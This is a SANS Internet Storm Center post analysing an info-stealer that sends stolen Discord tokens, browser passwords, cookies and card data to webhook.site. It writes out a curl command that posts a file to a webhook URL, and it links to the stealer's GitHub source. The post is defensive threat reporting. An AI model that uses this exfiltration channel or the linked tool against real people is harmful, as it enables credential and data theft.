SANS ISC: Info-Stealer Using webhook.site to Exfiltrate Data - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

We already reported multiple times that, when you offer an online (cloud) service, there are a lot of chances that it will be abused for malicious purposes. I spotted an info-stealer that exfiltrates data through webhook.site. Today, many Python scripts use Discord as a C2 communication channel. This time, something different and that looks definitively less suspicious.

webhook.site is an online service that helps you to test webhooks. By definition, a webhook[1] is a technique used to modify a page or an application with custom callbacks. They are also often used to automate data manipulations. Webhooks are perfect to receive JSON data through HTTP POST requests.

The malicious tool is Hazard-Token-Grabber-V2, available on GitHub[2] for a few days. Actually, it has a very low VT score: 3/56[3]. The script extracts a lot of information from the infected system:

• Username
• ComputerName
• IP
• City
• Region
• Country
• Google Maps Location
• Screenshot of their pc
• All Their Valid Discord Tokens (bypasses betterdiscord's anti-token-grab-protector)
• Password For Discord (You get Their Password if They Update it)
• Their Whole Credit Card (if They Put one in)
• All Their Chrome Passwords And Cookies

How does work webhook.site? When you visit the page, they will generate a unique webhook for you. Now, you can just watch hit and send HTTP POST requests to it. For example, my webhook was:

https://webhook.site/4accef15-fa3b-4926-a853-2b020accd3a2

I sent this requests:

$ echo “This is a far file” >file.txt
$ curl -X POST --data-binary @file.txt hxxps://webhook[.]site/4accef15-fa3b-4926-a853-2b020accd3a2

Data is instantly received by the webhook that the attacker is probably monitoring:

A very efficient and stealthy way to exfiltrate data!

[1] https://en.wikipedia.org/wiki/Webhook
[2] https://github.com/Rdimo/Hazard-Token-Grabber-V2
[3] https://www.virustotal.com/gui/file/efe6d18849828e14855b0f493652183b39c7553621b78b89a05157705314a7b4/details

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key